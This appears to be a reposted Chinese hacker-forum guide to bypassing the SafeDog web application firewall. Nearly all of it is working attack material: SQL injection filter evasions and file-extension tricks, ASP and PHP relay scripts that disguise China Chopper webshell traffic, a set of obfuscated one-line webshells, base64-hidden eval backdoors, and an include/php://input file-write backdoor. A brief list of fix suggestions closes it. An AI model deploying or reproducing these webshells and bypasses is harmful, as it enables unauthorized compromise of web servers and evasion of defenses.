过安全狗技术总汇
1.过注入
2.过大马被阻拦访问
3.过菜刀连接一句话被拦截
4.过1.asp;.jpg这样的文件
其他我没遇到了。。
现在一点一点讲:
1.过注入
方法一:a.asp?aaa=%00&id=sql语句
方法二:
本帖隐藏的内容
a.asp?id=sql语句 里面把安全过滤的加个%l 比如: un%aion sel%aect 1,2,3,4 fr%aom admin
2.过大马被阻拦访问
方法一:上传一个大马 然后访问http://sss.com/dama.asp 访问后出现拦截。
解决方法:
本帖隐藏的内容
先将dama.asp改名dama.jpg上传,然后在同目录上传个文件da.asp 内容为: <!–#include file=”dama.jpg” –> 这样再访问da.asp 就不会被拦截了。
3.过菜刀连接一句话被拦截
方法一:不用菜刀连接一句话,用别的一句话连接端。
方法二:
本帖隐藏的内容
中转下连接菜刀,把过滤掉的词替换掉。
4.过1.asp;.jpg这样的文件拦截
方法一:;1.asp;.jpg
方法二:保密
具体就为大家总结这么多了,安全狗 反正基本可以无视了!!
大家还有什么要补充的可以发在下面!
下面这个脚本是过安全狗连接菜刀用的 用法: 先把这个脚本放到个可执行.asp的目录
然后访问http://www.xx.com/asf.asp?dz=你要过的那个webshell地址
然后把地址输入进菜刀 密码还是你要过的那个webshell的密码 类型也是选择那个一句话木马的后缀类型
例如:http://www.xx.com/asf.asp?dz=http://xxx.com/yijuhua.php 密码
这样输入就菜刀
这个脚本暂时支持.php .aspx的一句话连接 .asp的可能还不行 没测试过。如果谁有装了安全狗的webshell可以告诉我下。我再测试下把这个脚本修改全面都支持!
<% '饶过的原理,抓菜刀连接webshell的包 然后研究安全狗过滤了哪些关键字 中转替换掉那些过滤的关键字 就成! JmStr=Replace(Request.Form,"$_POST","$_REQUEST") JmStr=Replace(JmStr,"->|","-->|") JmStr=Replace(JmStr,"@eval(","@eval (") JmStr=Replace(JmStr,"System.Convert.FromBase64String","System.Convert. FromBase64String") JMUrl=request("dz") response.write request("dz") JmRef=JMUrl JmCok="" response.write PostData(JMUrl,JmStr,JmCok,JmRef) Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "POST",PostUrl,False .SetRequestHeader "Content-Length",Len(PostStr) .SetRequestHeader "Content-Type","application/x-www-form-urlencoded" .SetRequestHeader "Referer",PostRef '.SetRequestHeader "Cookie",PostCok .Send PostStr PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function Function URLEncoding(vstrin) strReturn="" Dim i For i=1 To Len(vstrin) ThisChr=Mid(vstrin,i,1) if Abs(Asc(ThisChr))< &HFF Then strReturn=strReturn & ThisChr Else InnerCode=Asc(ThisChr) If InnerCode<0 Then InnerCode=InnerCode + &H10000 End If Hight1=(InnerCode And &HFF00) \&HFF Low1=InnerCode And &HFF strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) End if Next strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 strReturn=Replace(strReturn,chr(43),"%2B") 'J6156增加转换+字符 'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 URLEncoding=strReturn End Function %> 各种过安全狗一句话木马aspx,asp,php一句话 几个变性的asp–过防火墙 过狗效果都不错
- <%Y=request(“x”)%> <%execute(Y)%>
复制代码
- <%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))(“sz”))%>
复制代码
这个是90sec发的
- <%eval””&(“e”&”v”&”a”&”l”&”(“&”r”&”e”&”q”&”u”&”e”&”s”&”t”&”(“&”0″&”-“&”2″&”-“&”5″&”)”&”)”)%>
复制代码
密码-7 几个变性的php–过防火墙 过狗效果都不错:
- <!–?php $a = str_replace(x,””,”axsxxsxexrxxt”);$a($_POST[“sz”]); ?–>
复制代码
- <!–?php $lang = (string)key($_POST);$lang($_POST[‘sz’]); ?–>
复制代码
- <!–?php $k=”ass”.”ert”; $k(${“_PO”.”ST”} [‘sz’]);?–>
复制代码
- <!–?php $a = “a”.”s”.”s”.”e”.”r”.”t”; $a($_POST[“sz”]); ?–>
复制代码
这个是90sec发的
- <!–?php @$_=”s”.”s”./*-/*-*/”e”./*-/*-*/”r”; @$_=/*-/*-*/”a”./*-/*-*/$_./*-/*-*/”t”; @$_/*-/*-*/($/*-/*-*/{“_P”./*-/*-*/”OS”./*-/*-*/”T”} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?–>
复制代码
密码-7 aspx的 过狗效果不怎么样—不过我认为能支持aspx 百分之8/90支持asp 90sec发的
- <%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/”e”+”v”+/*-/*-*/”a”+”l”+”(“+”R”+”e”+/*-/*-*/”q”+”u”+”e”/*-/*-*/+”s”+”t”+”[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]”+”,”+”\””+”u”+”n”+”s”/*-/*-*/+”a”+”f”+”e”+”\””+”)”;eval (/*-/*-*/P/*-/*-*/,/*-/*-*/”u”+”n”+”s”/*-/*-*/+”a”+”f”+”e”/*-/*-*/);%>
复制代码
密码-7
- <%@ Page Language=”Jscript”%><%eval(Request.Item[“sz”],”unsafe”);%>
复制代码
- <script type=”text/javascript” language=”C#”>// <![CDATA[
- WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y(“add6bb58e139be10”); // ]]></script>
复制代码
密码是webadmin
Bypass SafeDog【突破安全狗】
0×00 安全狗之菜刀的突破
#原理:
BAD: caidao -> safedog -X-> backdoor
GOOD: caidao -> middle -> safedog -> backdoor -> middle -> caidao
菜刀发送的数据是会被安全狗拦截,因为菜刀的发的数据已被纳入安全狗的特征码内
但是如果我们在菜刀与狗之间放一个加密数据的脚本,将原数据进行修改加密,然后再通过脚本发送出去
类似为一个代理,发出去的数据流到安全狗,因为没有特征码了,数据流到服务器上的shell,shell把加密后的数据进行解密然后再执行,执行完后将数据返回给代理脚本,最终流回菜刀。
#代码
#middle.php
- <?php
- /*
- * Author: Laterain
- * Time: 20130821
- * About: Middle monkey between the hacker and safedog.
- * Just For Fun
- */
- $url = isset($_GET[‘shell’])?$_GET[‘shell’]:”;
- $pass= isset($_GET[‘pass’])?$_GET[‘pass’]:”;
- $type= isset($_GET[‘type’])?$_GET[‘type’]:’php’;
- if ($type == ‘php’) {
- $shellcode = base64_encode(‘@eval(base64_decode($_POST[z0]));’);
- }
- elseif ($type == ‘asp’) {
- $shellcode = base64_encode($_POST[$pass]);
- }
- $shellcode = $pass.’=’.urlencode($shellcode);
- foreach ($_POST as $key => $value) {
- if ($key == $pass) {
- continue;
- }
- $shellcode .= ‘&’.$key.’=’.urlencode($value);
- }
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $shellcode);
- $data = curl_exec($ch);
- curl_close($ch);
- print_r($data);
- ?>
复制代码
#php backdoor
- <?php
- $key = “hack”;
- preg_replace(base64_decode(‘L2EvZQ==’),base64_decode(‘ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFska2V5XSkp’),’a’);
- ?>
复制代码
#asp backdoor
- <%
- OPTION EXPLICIT
- const BASE_64_MAP_INIT = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/”
- dim Base64EncMap(63)
- dim Base64DecMap(127)
- dim code
- ‘初始化函数
- PUBLIC SUB initCodecs()
- ‘ 初始化变量
- dim max, idx
- max = len(BASE_64_MAP_INIT)
- for idx = 0 to max – 1
- Base64EncMap(idx) = mid(BASE_64_MAP_INIT, idx + 1, 1)
- next
- for idx = 0 to max – 1
- Base64DecMap(ASC(Base64EncMap(idx))) = idx
- next
- END SUB
- ‘Base64加密函数
- PUBLIC FUNCTION base64Encode(plain)
- if len(plain) = 0 then
- base64Encode = “”
- exit function
- end if
- dim ret, ndx, by3, first, second, third
- by3 = (len(plain) \ 3) * 3
- ndx = 1
- do while ndx <= by3
- first = asc(mid(plain, ndx+0, 1))
- second = asc(mid(plain, ndx+1, 1))
- third = asc(mid(plain, ndx+2, 1))
- ret = ret & Base64EncMap( (first \ 4) AND 63 )
- ret = ret & Base64EncMap( ((first * 16) AND 48) + ((second \ 16) AND 15 ) )
- ret = ret & Base64EncMap( ((second * 4) AND 60) + ((third \ 64) AND 3 ) )
- ret = ret & Base64EncMap( third AND 63)
- ndx = ndx + 3
- loop
- if by3 < len(plain) then
- first = asc(mid(plain, ndx+0, 1))
- ret = ret & Base64EncMap( (first \ 4) AND 63 )
- if (len(plain) MOD 3 ) = 2 then
- second = asc(mid(plain, ndx+1, 1))
- ret = ret & Base64EncMap( ((first * 16) AND 48) + ((second \ 16) AND 15 ) )
- ret = ret & Base64EncMap( ((second * 4) AND 60) )
- else
- ret = ret & Base64EncMap( (first * 16) AND 48)
- ret = ret ‘& “=”
- end if
- ret = ret ‘& “=”
- end if
- base64Encode = ret
- END FUNCTION
- ‘Base64解密函数
- PUBLIC FUNCTION base64Decode(scrambled)
- if len(scrambled) = 0 then
- base64Decode = “”
- exit function
- end if
- dim realLen
- realLen = len(scrambled)
- do while mid(scrambled, realLen, 1) = “=”
- realLen = realLen – 1
- loop
- dim ret, ndx, by4, first, second, third, fourth
- ret = “”
- by4 = (realLen \ 4) * 4
- ndx = 1
- do while ndx <= by4
- first = Base64DecMap(asc(mid(scrambled, ndx+0, 1)))
- second = Base64DecMap(asc(mid(scrambled, ndx+1, 1)))
- third = Base64DecMap(asc(mid(scrambled, ndx+2, 1)))
- fourth = Base64DecMap(asc(mid(scrambled, ndx+3, 1)))
- ret = ret & chr( ((first * 4) AND 255) + ((second \ 16) AND 3))
- ret = ret & chr( ((second * 16) AND 255) + ((third \ 4) AND 15))
- ret = ret & chr( ((third * 64) AND 255) + (fourth AND 63))
- ndx = ndx + 4
- loop
- if ndx < realLen then
- first = Base64DecMap(asc(mid(scrambled, ndx+0, 1)))
- second = Base64DecMap(asc(mid(scrambled, ndx+1, 1)))
- ret = ret & chr( ((first * 4) AND 255) + ((second \ 16) AND 3))
- if realLen MOD 4 = 3 then
- third = Base64DecMap(asc(mid(scrambled,ndx+2,1)))
- ret = ret & chr( ((second * 16) AND 255) + ((third \ 4) AND 15))
- end if
- end if
- base64Decode = ret
- END FUNCTION
- ‘ 初始化
- call initCodecs
- code = request(“hack”)
- code = base64Decode(code)
- eval code
- %>
复制代码
0×01 安全狗之突破恶意代码拦截
原理:
php://input没有被检查,在这儿写恶意代码即可。
以ADS的方式上传了shell之后,包含即可。
base.php
- <?php
- if (isset($_GET[‘inc’])) {
- include($_GET[‘inc’]);
- }
- elseif (isset($_GET[‘path’])) {
- fwrite(fopen($_GET[‘path’], “w”), file_get_contents(“php://input”));
- }
- else {
- echo __FILE__;
- }
- ?>
复制代码
#修复建议:
1.因为有了middle的任意加密混淆与backdoor的对应解密,安全狗官方应该也很难解决拦截菜刀数据的问题,但是可以从backdoor入手,加强对服务器后门的扫描探测能有效的防止这个问题。
2.通过包含来获取shell,这就只有加强特征码了。
3.无法发现ADS创建的后门的问题,我的想法是,服务器自身是不允许访问ads创建的文件的,只能通过包含来访问,那么可以将include,require等里面带:的归为危险文件。当然能直接发现更好。
4.php://input内容过滤
PS:本来以为php://input是我最先发现的,但是昨天看见某某在freebuf上提到了这个的利用,我就被打击了。。。于是就发出来吧。。。
作者:laterain form 90sec
转载请注明:jinglingshu的博客 » 安全狗